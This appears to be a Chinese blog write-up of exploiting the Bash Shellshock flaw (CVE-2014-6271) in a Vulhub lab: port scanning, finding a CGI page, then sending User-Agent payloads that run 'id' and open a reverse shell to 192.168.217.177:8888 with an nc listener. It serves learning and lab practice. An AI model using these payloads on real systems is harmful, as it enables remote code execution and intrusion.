Vulhub 中的 bash CVE-2014-6271

0x00 前言

声明:本文仅做学习交流,遵守《网络安全法》。

先学习原理,一个挺老的漏洞了。该漏洞可以通过构造环境变量的值来执行想要执行的攻击代码脚本,会影响到与Bash交互的多种应用,包括HTTP、OpenSSH、DHCP等。

总的来讲,攻击者通过控制变量进行远程代码执行。

0x01 CVE-2014-6271

先通过nmap进行端口扫描。

访问8080的时候发现是apache的主页面。

这样不行啊,这得扫描后台。

有新的收获。访问之后发现是很有名的 hello world。

要不是地址不同我还以为浏览器没什么变化呢。这怎么办?抓个包吧。在User-Agent处写上payload。

复制代码
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id

成功看到用户id。那说明id这条命令已经被执行了,那就可以......

复制代码
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/bash -i >& /dev/tcp/192.168.217.177/8888 0>&1

开启nc之后,构造上面的poc。

复制代码
nc -nlvp 8888

BurpSuite没有回显,但是nc有回显了。

0x02 总结

一开始执行id的时候是没有回显的,以为是Burp的包构造问题,后来发现是payload构造的有问题。另外,在回弹shell的时候,由于payload写的有问题导致回弹失败。 //多打了一个"/" 真丢人

相关推荐
刘婉晴3 分钟前
【网络安全】OAuth 原理和安全实现
安全·web安全
隐擎fox27 分钟前
解密 BGP Anycast 边缘路由与跨国链路质量检测:多租户网络出口的低时延与防丢包架构实战
网络·python·网络协议·tcp/ip·网络安全·架构·tcpdump
土豆.exe29 分钟前
chunked 编码的行尾:Go、h11 与 Tomcat 各错在哪一处
开发语言·网络安全·golang·tomcat
黄焖鸡能干四碗1 小时前
大数据平台安全防护策略方案(PPT)
大数据·运维·网络·安全·web安全·制造
林伽一1 小时前
端侧模型与运行框架双轮驱动,智能体工程化进入深水区|2026年10月16日
人工智能·科技·安全·ai·开源
Bruce_Liuxiaowei4 小时前
2026年10月第3周网络安全形势周报
安全·web安全·网络安全
菩提小狗13 小时前
每日安全情报报告 · 2026-10-15
网络安全·漏洞·cve·安全情报·每日安全
是真的小外套14 小时前
第13章:网络安全漏洞防护原理与应用
安全·web安全·php
Ikalus198815 小时前
检查自己写着「这不会让任务失败」:一条 Critical 风险就这么过了 178 天
安全·架构
仿生joe会梦见漫天的大雪吗15 小时前
CTF Misc 工具选型指南:按题型分类的工具、原理与限制
后端·安全